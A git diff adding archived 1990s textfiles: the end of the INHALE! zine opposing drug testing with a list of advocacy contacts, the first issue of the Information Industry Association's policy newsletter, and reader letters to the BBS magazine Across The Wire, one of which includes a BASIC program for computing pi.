practice and it has the same +characteristics as drug testing. Confidences you would share in the workplace +are not necessarily ones you would want your employer to overhear, and +although they say that they only give the employer drug-related information, +there's no way to know." + Employees in the public sector (ie: government employees) are better off +than private sector employees because supposedly the government has to adhere +to the Bill of Rights and people who work for Uncle Sam are therefore +protected by the Fourth Amendment. Distressingly, this is changing as the +rules are bent in the case of public sector employees who are "responsible for +public safety." + In two recent cases, the majority court held that urine tests are +searches but, in the case of these particular employees (customs guards and +railroad workers) testing was allowed without probable cause on the ground +that their Fourth Amendment rights were outweighed by the government's +interest in maintaining a drug-free workplace. + The new bi-partisan bill called the Borne-Hatch Bill is being sold +as a new way to regulate lab standards. What it really does is remove any +threat of an employer from being sued by an employee in the future. Already, +most law suits brought by employees against employers in relation to drug +testing have been lost, but some have been won. Removing that small threat of +retaliation will only open the flood gates for more random testing. + Ultimately, drug testing is being used as an excuse to take away all of +our freedoms and create a chemical police state. If you and the people you +know don't stop it, who will? + Partial credit to High Times June 1990 + --All rights stolen by Nixon-- + + --Writers note: + While watching the Dr. Dean Edell show one time, there was a story of a +woman being fired from a company because a random drug test showed she had +NICOTINE in her blood! The company has an anti-smoking policy which includes +smoking at home. They escorted her out the door and fired her. + Sad but true.... Big brother is here, just not always in big government +but in big business as well. +------------------------------------------------------------------------------ + + + + +------------------------------------------------------------------------------ + INHALE! #1 Feb '94 Hoffman II Page 7 + Have You Sold Your Political Values? + + If you have picked up this newsletter and are still reading it, you have +probably, like a bunch of other people, figured out that most of what you have +been told your whole life is basically a big pack of lies, brought to you by +the joy of government propaganda. Like a crowd of other people, you are ready +and willing to reform/rebel against what you are forced to put up with. There +is one mistake that you must be careful not to make, some if not most people +already have. That mistake is losing sight of what is important, the real goal +of achieving change/rebellion. + Too many people and groups that want change get caught up in games. +Immature people that walk around saying, "I'm an elite anarchist!" and they +start insulting and fighting with people that have a slightly different +viewpoint is what we're talking about. They then become majorly screwed +individuals that don't do anything good because they spend a majority of their +time and energy arguing against those on the same side. Instead they should be +uniting against the government that has left them with a rotten earth, tries +to divide them through lies, and has oppressed them. + For the most part it is fairly easy to tell which side a person is on. Do +they sit around unaware of what is going on in the world around them? Do they +calmly accept that the government is right and set with thier fake morals +wrapped around them? Or have they become WILLING FOR CHANGE? It isn't all that +HARD to realize that if one is up against the government, fighting against +others on the same side is a real pointless and asinine thing to do. + Stay out of the ego wars. Join the SCA, the GA, or GreenPeace. There are +many groups fighting together for a common cause. Join one of these groups. +Remember, that only by uniting, taking refuge among ourselves, and taking +advantage of the opporutunity to stand out, not only up, can we make change. +We must belong to what we create. We must not make the same mistakes of those +in power. We must evolve past that, or we will become yet another regime in +power, repeating the failure of what we are supposedly fighting against. + Action by the whole, on the whole, will be our only movement for a +redeeming revolution. This time must mark the end of this wasted effort +brought by many generations of "pass me down politics". We must rebirth and +rise anew free of what hinders us if we are to survive. +------------------------------------------------------------------------------ + + + + + + + + + + + + + + + + + + + + + + + + + +---------------------------------------------------------------------------- + INHALE! #1 Feb '94 Page 8 + + Where to write for info and/or help on many different topics including +many of which are covered in this issue. + +American Medical Marijuana Movement The closest NORML Chapter: +San Francisco HQ Normal N.O.R.M.L. +Dennis Peron--President P.O. Box 441 +3745 Seventeenth St. Normal, IL 61761 +San Fransico, CA 94114 +(415) 864-1961 Illinois Marijuana Initiative + P.O. Box 2242 +The Alliance for Cannabis Thereaputics Darien, IL 60559 +P.O. Box 21210 (708)859-0499 +Kalorama Station +Washington DC, 20009 +(202)483-8595 American Civil Liberties Union + 132 West 43rd St. +Family Council on Drug Awareness New York, NY 10036 +P.O. Box 71093 +Los Angeles, CA 90071-0093 National NORML HQ +(213)288-4152 1001 Connecticut Ave NW + Suite 1119 +Nearest ACLU location Washington, DC 20036 +ACLU of Illinois (202)483-5500 +203 North Lasalle +Suite 1405 Criminal Justice Policy Foundation +Chicago, IL 60601 2000 L St.NW + Suite 702 +The United Campus Coalition Washington, DC 20036 +P.O.Box 341 (202)835-9075 +Mill Valley, CA 94942 + HIV positive, order prepared reg. +The Drug Policy Foundation packet for medical marijuana, +4801 Massachusetts Ave NW MARS Project $15 donation +Suite 400 P.O.Box 21210 requested +Washington, DC 20016-2087 Kalorama Station +(202)895-1634 Washington, DC 20009 + +The Illinois Drug Ethnics Alliance +P.O. Box 4205 +Urbana, IL 61801 +(217)367-5674 + + Where to lobby: + +President Clinton Senator ............ +1600 Pennsylvania Ave Senate Office Bldg. +Washington, DC 20500 Washington, DC 20515 + +Representative ............ Lloyd Bentsen Sec. of Treasury +U.S. House of Representatives 15th & Pennsylvania Ave NW +Washington, DC 20515 Washington, DC 20220 + +United Nations Com. on Human Rights Exec Dir. John Healy +UN Plaza Amnesty International +New York, NY 10017 322 Eighth Ave. + New York, NY 10001 +Donna Shalala (212)807-8400 +Sec. of H \ No newline at end of file diff --git a/textfiles.com/magazines/ONESHOTS/ipo01.txt b/textfiles.com/magazines/ONESHOTS/ipo01.txt new file mode 100644 index 00000000..332747ed --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/ipo01.txt @@ -0,0 +1,549 @@ +From iia.ipo@his.com Wed Mar 2 10:51:14 1994 +Received: from news.his.com (bbs.his.com [198.4.81.3]) by eff.org (8.6.4/8.6.4) with ESMTP id KAA16860 for ; Wed, 2 Mar 1994 10:50:44 -0500 +From: iia.ipo@his.com +Received: from his.com (clone@localhost) by news.his.com (8.6.4/8.6.4) with UUCP id KAA11356 for mech@eff.org; Wed, 2 Mar 1994 10:43:32 -0500 +Received: by his.com + id A2888wk Wed, 02 Mar 94 10:26:11 +Message-Id: <9403021026.A2888wk@his.com> +Organization: Heller Information Services, Inc., Rockville MD +X-Mailer: TBBS/PIMP v2.52 +Date: Wed, 02 Mar 94 10:26:11 +Subject: "INFORMATION POLICY ONLINE" +To: mech@eff.org +Reply-To: iiaipo@his.com +Status: RO + + + + +F +iiiiii iiiiii a INFORMATION POLICY ONLINE + ii ii aaa + ii ii aaa An Internet Newsletter + ii ii aaa published by the + ii ii aaaaaaaaa Information Industry Association + ii ii aaa 555 New Jersey Ave., N.W. + ii ii aaa Washington, DC 20001 + ii ii aaa Internet: +iiiiii iiiiii aaaaaaa Volume 1, Number 1, March 1994 +----------------------------------------------------------------- +***************************************************************** + +In this inaugural issue: + [1] About "INFORMATION POLICY ONLINE" + [2] About the Information Industry Association + Will the Real "IIA" Please Stand Up! + [3] Welcome! by Steve Metalitz, IIA/IPO Editor + [4] Giving Uncle Sam the Keys: Administration Embraces + Clipper + [5] Bills to Cut Off Access to DMV Records Greeted + Skeptically by House + Synopsis of IIA Testimony on H.R. 3365, + Driver's Privacy Protection Act, February 4 + [6] IIA Proposes Bold Restructuring of Depository Library + System in Senate Testimony + [7] IIA Adopts Flexible Strategy for Telecommunications + Legislation + [8] Compilation Copyright at the Supreme Court: Round 2 + in 1994? by Jim Schatz, IIA Proprietary Rights + Committee, and Marla Hoehn, Heins, Schatz and Paquin + +----------------------------------------------------------------- +[1] ABOUT "INFORMATION POLICY ONLINE" + + INFORMATION POLICY ONLINE (IIA-IPO) is an online newsletter +published on the Internet by the Information Industry Association +and distributed free of charge. + The purpose of the Newsletter is to inform readers of events +and activities affecting information policy, and to present an +information industry viewpoint concerning these events and +activities. The contents of IIA-IPO will be news, views, and +documents. _News_ will be factual briefings on legislative, +regulatory, and programmatic activities at the federal, state, +and local level that pertain to information policy. _Views_ will +be viewpoints on the news: an official IIA position, or other +viewpoints. _Documents_ will be online copies of documents +pertinent to information policy. + The target audience for IIA-IPO is any persons inside or +outside the information industry, members of IIA and nonmembers, +who are interested in information policy. + IIA-IPO is copyrighted by the Information Industry +Association; however, IIA-IPO is distributed without charge and +may be freely reproduced and redistributed. Please acknowledge +IIA-IPO as the source of the information when quoting or +redistributing the newsletter. + + TO SUBSCRIBE TO IIA-IPO: Send the message "subscribe" to +. + +----------------------------------------------------------------- + +[2] ABOUT THE INFORMATION INDUSTRY ASSOCIATION + + THE INFORMATION INDUSTRY ASSOCIATION, founded in 1968, +represents leading organizations involved in the generation, +processing, distribution and use of information. IIA is home +base for businesses offering the innovative products and services +that make up the information marketplace. + IIA's 500 member companies range from small entrepreneurial +enterprises to Fortune 500 firms -- from database providers to +hardware and software manufacturers, telecommunications companies +to financial institutions, print and CD-ROM publishers to +electronic and voice mail and messaging services, and market +research to venture capital firms. + Since its inception, IIA has been the only trade association +in the United States addressing the broad concerns and diverse +market needs of the dynamic information industry. In short, IIA +fosters a responsive and responsible forum for promoting a +competitive and growing information marketplace. + + WILL THE "REAL" IIA PLEASE STAND UP! + + Recently, the Internet has witnessed some discussion about +another IIA, the International Internet Association. The +Information Industry Association has no relationship with the +International Internet Association. + The Information Industry Association regrets any confusion +that may arise over the two IIA's, but has no intention of ceding +to the International Internet Association the use of the initials +IIA. The Information Industry Association was here first; this +IIA celebrated its 25 year anniversary last October! + +----------------------------------------------------------------- + +[3] WELCOME! + + by Steve Metalitz + Vice President and General Counsel, IIA + and Editor, Information Policy Online + + Welcome to the first issue of Information Policy Online! + + February is budget season in Washington. The backs of policy +wonks, reporters and lobbyists bend under the weight of volumes +of turgid prose and impenetrable charts, setting forth the +Administration's taxing and spending proposals for the fiscal +year beginning next October. Sighs of austerity and cries of +profligacy fill the air, as various interests seek to put their +spin on the newly unveiled numbers. Pundits take the vital +signs of the plans on Capitol Hill, and eventually the budget's +bird's-eye perspective gives way to the devilish details of how +the public's money will be spent. + This February, things were a bit different. Once again, +forests were sacrificed, and the Government Printing Office +spewed forth budget paper (over 2000 pages this year), but the +budget documents were also distributed in electronic form +(through dial-up access, Internet, and Commerce Department +CD-ROMs). The political messages, too, were a bit different. The +Administration stressed the importance of keeping the deficit +on a downward path, but at the same time it returned to the +theme of "investment in long-term economic growth," calling for +selected increases in spending along with the many proposed +spending cuts. + In true Washington fashion, the White House scooped the +mammoth budget release with the strategic leak to the news media +of a much shorter document: the list of 115 federal programs +President Clinton wants Congress to eliminate this year. Six of +these are library grant programs administered by the Department +of Education. But a closer review of the budget reveals that +programs for information dissemination were not only spared the +ax, but targeted for substantial increases, in the name of +"investment." + Some of the major boosts are contained in a line item called +"National Information Infrastructure." The National +Telecommunications and Information Administration (NTIA), part +of the Department of Commerce, had $26 million to spend this +year in hooking up non-profit institutions with Internet and +other networks. The proposal for next year: $100 million. The +National Technical Information Service (NTIS), also in +Commerce, is supposed to be self-supporting. But the President +wants to appropriate 18 million taxpayer dollars -- more than +one-quarter of the agency's 1994 budget -- for a "one-time pool +of investment capital to help support the electronic +dissemination of data generated by the Federal Government." The +big bucks come under the rubric of "High Performance Computing +and Communications," encompassing a number of federal +initiatives from support for supercomputing to funding of +Internet resources. HPCC spending by seven agencies is slated +to rise 23%, to $1.15 billion, in fiscal 1995. Also +participating in the HPCC largesse is perhaps the biggest single +winner among federal agencies: the National Institute of +Standards and Technology (NIST), yet another Commerce unit, +whose budget will nearly double (to $935 million), partly for +information infrastructure programs. + As the budget ritual unfolded, the U.S. Advisory Council on +the National Information Infrastructure convened its first +public session February 10. This group of two dozen private +sector representatives is (among other things) supposed to help +the government more clearly define the problem that its +information infrastructure spending programs should be targeting. +Not only the Advisory Council deliberations, but also the +spending programs sketched out in the 1995 budget, must be guided +by an appreciation for the value of information content. Once the +glitz and glitter of the exciting new networks, hardware, and +software has faded, content is the deliverable that will mean +the most to the customers of the NII -- whether they are +receiving "universal service" or participating in a true +information marketplace. IIA will be advocating the content +focus in the months ahead. + +----------------------------------------------------------------- +[4] + GIVING UNCLE SAM THE KEYS: + ADMINISTRATION EMBRACES CLIPPER + + Last April 15, when the Clinton Administration unveiled its +plans to adopt the controversial "Clipper chip" technology for +encrypting government communications, it kicked off a +"comprehensive interagency review of encryption technology." +That review came to an abrupt conclusion February 4, with the +announcement that the Administration will steam full speed ahead +with Clipper. + Specifically, the February 4 decisions included: + +- Approval of the "escrowed encryption standard" as a + voluntary Federal Information Processing Standard (FIPS). + Approval came despite virtually unanimous opposition to the + standard from business, academia, and public interest + groups. The Administration dismissed the opposition as + representing "misunderstanding or skepticism." +- Designation of two federal agencies as "escrow agents" to + hold the digital "keys" to every telephone and other + device manufactured with the Clipper chip system. The + National Institute of Standards and Technology (NIST) and a + Treasury Department unit will give U.S. law enforcement + access to communications encrypted using Clipper, upon + presentation of necessary legal documentation (usually a + search warrant). +- Limited streamlining of export control procedures for + encryption products. However, the Administration rejected + the idea of loosening up export controls generally, warning + that in that case encryption would "be used extensively by + terrorists, drug dealers and other criminals." + + Even more troubling is the report that the Administration +may support a revived proposal to require redesign of digital +telecommunications systems to facilitate government monitoring. +The proposal, long a pet project of federal law enforcement +agencies, died on the vine during the Bush Administration, but +Clinton Administration support could breathe new life into this +costly idea, which IIA and most other industry and privacy groups +have long opposed. For the record, the Administration set up an +interagency group to "work with industry to ensure that new +digital telecommunications systems are designed in a way that +ensures that [they] do not prevent court-authorized wiretaps." +The next public discussion of the issues may take place at the +March 23-24 meeting of the federal Computer System Security and +Privacy Advisory Board, at which the February 4 announcements +will be reviewed. + Meanwhile, IIA has joined with numerous other associations +in urging support for legislation (H.R. 3627) to liberalize +export control policies on encryption technology. A letter to +Chairman Lee Hamilton of the House Foreign Affairs Committee, +cosigned by groups ranging from the ACLU to the U.S. Telephone +Association, points out that "the main impact of export controls +on crytography today is to limit American citizens' and +corporations' access to high quality privacy protection." + +----------------------------------------------------------------- +[5] + BILLS TO CUT OFF ACCESS TO DMV RECORDS + GREETED SKEPTICALLY BY HOUSE + + The proposed Driver's Protection Privacy Act "gets +Congress off on the wrong foot," by presuming that records held +by state departments of motor vehicles (DMVs) should be closed +to the public, IIA Vice President and General Counsel Steve +Metalitz told the Civil and Constitutional Rights Subcommittee +of the House Judiciary Committee February 4. Metalitz testified +on the second day of hearings on H.R. 3365, introduced by Rep. +James Moran (D-VA). + The DPPA was motivated by use of DMV records to stalk and +harass citizens. Groups representing crime victims +enthusiastically supported reducing access to DMV and other +records held by state governments. But the hearings also +showcased opposition to the current bill from press groups, +direct marketers, and private investigators, as well as IIA. +Some of these criticisms seemed to strike a responsive chord +with subcommittee members, including Rep. Don Edwards (D-CA), +the panel chair, who emphasized that the House would not rush to +rubber-stamp the DPPA's earlier approval (without any hearings) +by the Senate. + IIA's testimony urged Congress to "target the specific +abuses" of DMV records that have been identified, while +maintaining that "records collected by government should be +presumed public, and generally accessible, unless it is +necessary to restrict public access in order to protect privacy +or achieve a similarly important social goal." IIA also argues +that the DPPA "uses the wrong tool -- criminal penalties -- for +the job it proposes to undertake," and urged Congress to "totally +decouple" any access restrictions from criminal sanctions. + Despite the skepticism expressed by some House subcommittee +members, the DPPA continues to enjoy a favorable prognosis, +since the Senate has already passed a version of the +legislation as an amendment to the crime bill, a "must-pass" +measure in the current Congress. It appears that the House +subcommittee will seek to mark up an alternative measure on DMV +records, perhaps as soon as early March. + + SYNOPSIS OF IIA TESTIMONY ON H.R. 3365, + DRIVER'S PRIVACY PROTECTION ACT + FEBRUARY 4, 1994 + + The Information Industry Association believes +that the DPPA, in its current form, does not strike the right +balance between privacy concerns and fundamental principles of +public access to public records. + Access to public records is important to American businesses +and consumers, as well as serving other important roles in our +democratic society. Among other uses, we rely on records from +state Departments of Motor Vehicles (DMVs), as well as land, +court, voter registration, corporate filing, and other public +records, to make it faster, cheaper and more efficient to -- + +- extend credit to individuals and businesses; +- detect and combat fraud; +- conduct litigation and enforce court orders; +- undertake "due diligence" investigations before hiring + employees or concluding business deals; +- conduct survey research; +- make siting and land use decisions; and +- undertake marketing efforts. + + The DPPA gives short shrift to these benefits because it +treats DMV records as "presumed secret," subject only to listed +exceptions. A "presumed public" approach would be more +consistent with our legal framework for access to public +records. Congress could begin by making it a federal crime to +use DMV records for illegal purposes, which DPPA does not do. +Federal legislation should then focus on specific uses which +are vulnerable to abuse --in the case of DMV records, license +plate look-ups of names and residential addresses. While most +of these are legitimate, Congress could, if necessary, define +which look-ups should be prohibited. This would leave a broad +spectrum of other uses free of unneeded federal restrictions. + Under the DPPA approach, state DMVs will inevitably be drawn +into expensive, time-consuming and intrusive inquiries about the +purposes and motivations of members of the public who seek +access to DMV records. These costs could be reduced, though not +eliminated, by broader exceptions to the access ban. Access for +legitimate purposes could be preserved by clarifying the +exceptions for litigation use, survey research, verification, +antifraud measures, and marketing, including a longer time +period for implementing any "opt-out" systems. + The criminal sanctions of the DPPA, especially the +Senate-passed version, will have a chilling effect on legitimate +uses. Criminal law is the wrong tool for enforcing information +practices rules. DPPA should be decoupled from criminal sanctions +as much as possible. + Under DPPA, the federal government would control areas of +traditional state concern: defining, and regulating access to, +public records. States should have more flexibility to achieve +the objectives of the legislation. If Congress decides sweeping +federal pre-emption is needed, it should also require uniform +treatment of requests for access to DMV records. + +----------------------------------------------------------------- +[6] + IIA PROPOSES BOLD RESTRUCTURING OF DEPOSITORY + LIBRARY SYSTEM IN SENATE TESTIMONY + + On February 3 and 10, the Senate Committee on Rules and +Adminstration held hearings on Title XIV of H.R. 3400, +legislation to implement the Clinton Administration's National +Performance Review recommendations, and other proposals to +change the role of the Government Printing Office. While much of +the testimony focused on allocation of responsibilities for +government printing, IIA took the opportunity to urge the +Senate to "reinvent" the Depository Library Program to better +meet the needs of information users. + In his testimony on February 3, Public Printer Michael +DiMario argued that a centralized information distribution system +was essential to keep costs of the program down and to ensure +that all documents (including agency electronic documents) are +made available. OMB Deputy Director Alice Rivlin defended the +Clinton Adminstration's position that GPO's traditional monopoly +over federal government printing should be eliminated "by +devolving printing procurement responsibility to the agencies and +by giving the President responsibility for printing policy-making +for the Executive Branch." She stressed GPO's role as a +"value-added service provider" to federal agencies, and +testified that "this model -- GPO as a competitive service +provider in a context where agencies decide how best to carry out +their missions -- should apply to all facets of GPO's +business...". The Administration proposal calls for no immediate +changes in the depository library system. + IIA's testimony at the February 10 hearing addressed H.R. +3400 as introduced and as adopted by the House. IIA Vice +President Steve Metalitz expressed support for the +Administration's proposal to write into law dissemination +policies included in OMB's Circular A-130, but pointed out +several provisions in the House-passed version of H.R. 3400 +which are of concern to the IIA, notably those which transfer +lead responsibility for federal information dissemination to +the Library of Congress without any guidance as to how that +institution is to carry out this function. The House-passed bill +would give the Superintendent of Documents a virtual "blank +check" to remedy situations where he believes that agencies are +not providing "adequate access" to government documents. + IIA's testimony went on to outline a model for significantly +reforming the Depository Library Program in response to fiscal +and technological pressures. "The reformed system should be +demand-driven, consumer-oriented, and characterized by choice +and diversity. It should reflect sound information policy +principles, and should empower those most knowledgeable about +the information needs and desires of library users: librarians." + + Metalitz urged the Senate to consider a "direct support" +model, in which libraries would use federal funds to acquire +information products directly from federal agencies, from +multi-agency sources, from non-profit or private sector +providers or a combination of sources. The direct support +system, he noted, would give libraries more flexibility to +tailor their government information acquisitions to meet the +needs of their customers; anticipate technological trends that +favor decentralization of information resources; and make +agencies directly accountable to libraries as customers. +Neither of the Senators present for the February 10 hearing -- +chairman Wendell Ford (D-KY) and ranking Republican Ted +Stevens (R-AK) --asked many specific questions about IIA's +proposed direct support model for the Depository Library System. +However, it was apparent that neither Senator had much +enthusiasm for either the original or House-passed version of +H.R. 3400. The fate of the legislation, which contains numerous +provisions falling within the jurisdiction of other committees, +remains uncertain. + +----------------------------------------------------------------- +[7] + IIA ADOPTS FLEXIBLE STRATEGY + FOR TELECOMMUNICATIONS LEGISLATION + + IIA has adopted a flexible strategy to assure that the +information industry remains active in the very fluid atmosphere +surrounding telecommunications legislation on Capitol Hill. The +issue at hand is the definition that Congress will use to +establish pro-competitive safeguards for regional Bell +operating companies that wish to participate in the information +services market. IIA has long supported a broad definition of +"enhanced services" established by the Federal Communications +Commission in 1980. However, none of the bills currently pending +before Congress adheres to this definition. The Senate bill, S. +1822, is better than the House bill in this regard, since the +Senate proposal includes an expanded definition of "electronic +publishing" subject to full safeguards, and provides limited +safeguards for the full range of enhanced services. + House and Senate committees have put the issue on the fast +track, with subcommittee mark-ups in the House scheduled before +March 1. The Senate Commerce Committee began hearings February +23, and plans completion of its bill before the end of March. + IIA will seek the most inclusive definition possible +for information services subject to pro-competitive safeguards +-- even if it should prove impossible to gain the full +protection offered by the "enhanced services" definition. IIA +intends to remain an active participant in crafting effective +telecommunications legislation that will serve the best interests +of the information industry as a whole. + +----------------------------------------------------------------- +[8] + COMPILATION COPYRIGHT AT THE SUPREME COURT: + ROUND 2 IN 1994 + + by Jim Schatz, Chair, IIA Proprietary Rights Committee + and Marla A. Hoehn, Heins, Schatz & Paquin + + Ever since the U.S. Supreme Court decided the _Feist +Publications_ case in 1991, information companies have been +waiting for clearer signals from the courts about the scope and +strength of copyright in compilations, including directories, +collections of public domain materials, and factual databases. +Now, cases on yellow pages directories, baseball pitching +statistics forms, and personal organizers have found their way +through the judicial system, and offer the high court a change to +clarify its _Feist_ ruling. + _Bellsouth Advertising & Publishing Corp v. Donnelley Info. +Publishing, Inc._, 999 F.2d 1436 (11th Cir. 1993), _petition for +cert._ filed (No. 93-862; Nov. 30, 1993) is a yellow pages +copyright case. In developing its own directory, defendant used +certain information in plaintiff's directory, including the name, +address, telephone number, business type and unit of advertising +of each of plaintiff's subscribers. In September, the full +Eleventh Circuit Court of Appeals (based in Atlanta) held that +this did not amount to copyright infringement because no original +elements of selection, coordination, or arrangement of the first +directory were copied. The court concluded that plaintiff's +grouping of individual listings under appropriate headings was +not "original." Although finding that defendant actually took a +"substantial" amount of information from plaintiff's directory, +the Court nevertheless decided that similarities in headings +between the parties' directories was due more to functional +considerations and standard industry practice than to the fact +that defendant copied plaintiff's headings. + A strong dissenting opinion argued that plaintiff's +independent selection of headings for its directory, its +assignment of listings to the various headings, and its selection +of businesses to include in the directory were acts of +originality warranting copyright protection. The dissent noted +that the defendant's subject headings were based on the +plaintiff's, and concluded that the second yellow pages directory +was "substantially similar" in arrangement to the first one, +including the repetition of telltale errors. + In _Kregos v. Associated Press_, 3 F.3rd 656 (2nd Cir. +1993), _petition for cert. filed_ (No. 93-863; Nov. 30, 1993), +the Second Circuit Court of Appeals in New York considered +whether the defendant violated the plaintiff's copyright in a +form presenting statistics on baseball pitchers. Ultimately, the +court held that the plaintiff was entitled to copyright +protection, but that the defendant had not committed an +infringement, because four of the ten statistical categories used +in the defendant's form differed from those in the plaintiff's +form. + The Ninth Circuit Court of Appeals in San Francisco reached +a different result in _Harper House, Inc. v. Thomas Nelson, +Inc._, 1993 WL 346546 (9th Cir. Sept. 10, 1993), a case involving +competing personal organizers. The court concluded that +plaintiff's organizers were entitled to only limited copyright +protection, they consisted largely of uncopyrightable elements +such as blank forms. However, because defendant's organizers +contained 63 out of 76 sticker label headings contained in +plaintiff's organizers, and because of other close similarities, +the court found sufficient evidence to show "bodily +appropriation" of the selection, coordination and arrangement of +plaintiff's organizers, even though there were also differences +in the selection or arrangement of sections. + As it happens, all three of these decisions were issued in +early September, and parties in all three cases have asked the +U.S. Supreme Court for a ruling. The Supreme Court hears only a +small fraction of cases presented to it, and generally decides +only one or two copyright cases each year. However, the fact +that three different courts of appeal have applied the _Feist_ +decision differently could help persuade the Supreme Court to +consider these cases, in order to resolve apparent +inconsistencies. The Court will probably decide this spring +whether to consider any of the cases; if it agrees to do so, a +final decision would probably come by mid-1995. IIA will +consider filing a friend of the court brief if the Supreme Court +agrees to hear any of these cases. + On January 24, 1994, the Supreme Court denied the petition +for certiorari in the BAPCO case. Also, the press has reported a +pending settlement of the Harper House case. It appears, +therefore, that the remaining chance for the Supreme Court to +clarify its Feist decision rests with the Kregos case. IIA will +monitor these cases for impact on the interests of information +companies. + +----------------------------------------------------------------- +----------------------------------------------------------------- + +President of the IIA: Kenneth B. Allen +Editor of Information Policy Online: Steven J. Metalitz, IIA + Vice President and General Counsel +Consulting Editor: J. Timothy Sprehe, Sprehe Information + Management Associates +For messages to IIA-IPO: +Voice: (202) 639-8262. Fax: (202) 638-4403. +----------------------------------------------------------------- + +***************************************************************** + diff --git a/textfiles.com/magazines/ONESHOTS/issue.001 b/textfiles.com/magazines/ONESHOTS/issue.001 new file mode 100644 index 00000000..91cd9879 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/issue.001 @@ -0,0 +1 @@ +@START@ATW Readers Respond! Readers Response: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MESSAGE FROM: RICK OLSEN I think your magazine will be a great resource to my BBS and certainly will save me the time of creating the same type of thing. You have a good variety of stuff in here. I do have a request - keep it clean. My BBS does not carry adult files, and we have one game that is adult oriented (Bordello) but I consider that "tame" compared to some of the adult games out there. I want all my subscribers to be able to enjoy ATW, no matter how old (or young!). RESPONSE FROM: Tom Wildoner Appreciate the comments Rick! Adult oriented material will not appear in this magazine unless it pertains to science/medical related material. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MESSAGE FROM: JOSEPH ZARROW Staff. Congrats on your first ish. Nice, informative stuff. The articles were a tad dry in tone, but interesting nonetheless. What surprised me however, was how the "editor's letter to readers" commented on how he was sick of seeing all these internet magazines all on the same topics and your first issue seemed to bear almost solely on the subject of astronomy and the space program. Please add variety in the future. I hope that, if you do this, it will not detract from the depth of articles. Good luck in all your endeavors. -Joe Zarrow Herndon, Va RESPONSE FROM: Ken Regenfuse Joe, you are absolutely right. We sorta did get carried away with space and science articles. I have to blame that one on Tom. He is a space and science fiction fanatic. I am glad to see that you agreed with my point of view, but seriously, we will do our best in the future to offer a vast variety of articles that interests all of our readers from children to senior citizens that are not dry and boring, but also keeps your interest until you finish reading the entire article. Thanks for the comment and the compliment. I hope you continue to enjoy our efforts. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MESSAGE FROM: JAMES GOLDBLOOM Compliments on an excellent idea... keep it going! My users are expressing and interest. RESPONSE FROM: Tom Wildoner Thanks James, we have a lot planned for the magazine - stay tuned! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MESSAGE FROM BOB GIBBONS: You forgot the best program for actually computing PI. Yours rely in the ATN function being correct. PI can be defined as PI= 4*(1-1/3+1/5-1/7+1/9-1/11.....) This basic program does it: 1 CLS 2 DEFDBL A,B,C,D,E,F 5 B=1:D=1 10 FOR X=3 TO 10000000# STEP 2 20 B=B*-1 30 C=X*B 40 E=1/C 50 D=D+E 55 LOCATE 1,1 60 PRINT X,4*D 70 NEXT RESPONSE FROM TOM WILDONER: Appreciate the response Bob! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ NOTE FROM KEN REGENFUSE: As our second isuue of Across The Wire magazine is shortly going to press I would like to thank all the people that have taken the time to read our first isuue and all the sysops that have decided to run our magazine on their BBS's. All the comments that we have received thus far have been positive and encouraging. The written comments that we have received have been answered and will appear in this issue. I would like to take this time to encourage all of our readers to send us your comments. Your likes, dislikes, and what you, as a reader, would like to see in future issues of Across The Wire. Our goal is to make Across The Wire magazine the best BBS magazine in the world. A lot of that goal depends upon you, the reader. Without your input we, as the editors, have no idea of your tastes. We have no idea if a certain article may offend someone out there in cyberland, or if there was an article that you loved and would like to see more of. Our main goal is to include approxamately 100 plus articles in each and every issue. After much discussion we felt this was a good number to attract any and all users. I don't expect our readers to read all the articles in any one issue. I know when I pick up a magazine, I only read the articles in that magazine that interest me. By offering a vast number of articles and topics to read we feel we can attract all users to read something of interest to them and at the same time not over burden that user with tons of articles on any one subject. By offering 100 plus articles each month in the magazine not only will we be the largest BBS magazine out, as far as we know, but we will also accomplish our goal of offering a vast variety to all our readers. To all the BBS sysops that have already decided to carry our magazine, we wish to thank you for your early support. I personally hope that the magazine helps your BBS's to grow and attract readers and users of all ages. Remember you, as sysops, also play an important role in making our magazine a success. It is important that you get those comments up to us that either you or your readers leave so we may continue to improve our magazine and make it as fine a magazine as possible. Ken Regenfuse - Co-Editor ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ NOTE FROM TOM WILDONER: Greetings! Welcome to the second issue of Across the Wire magazine! The magazine really seems to be off to a fantastic start - I would like to take a moment to thank all the readers for their response (positive or negative) on the magazine, after all, the magazine is designed for you. I would also like to thank all the sysop's out there for taking the time to download and setup our door program. We are always looking for contributors to the magazine - do you have a particular knack in game reviews, do you know some tips and tricks to software, do you dabble in programming? Think about contributing an article to ATW. Share your knowledge and thoughts with other readers across the globe. I would like to solicit your comments for the future of ATW - would you like to see any of the following? - A monthly questionnaire? - The ability to load and view back issues online? - Would you like to see reviews of internet, gopher, ftp, or WWW sites of interest? - 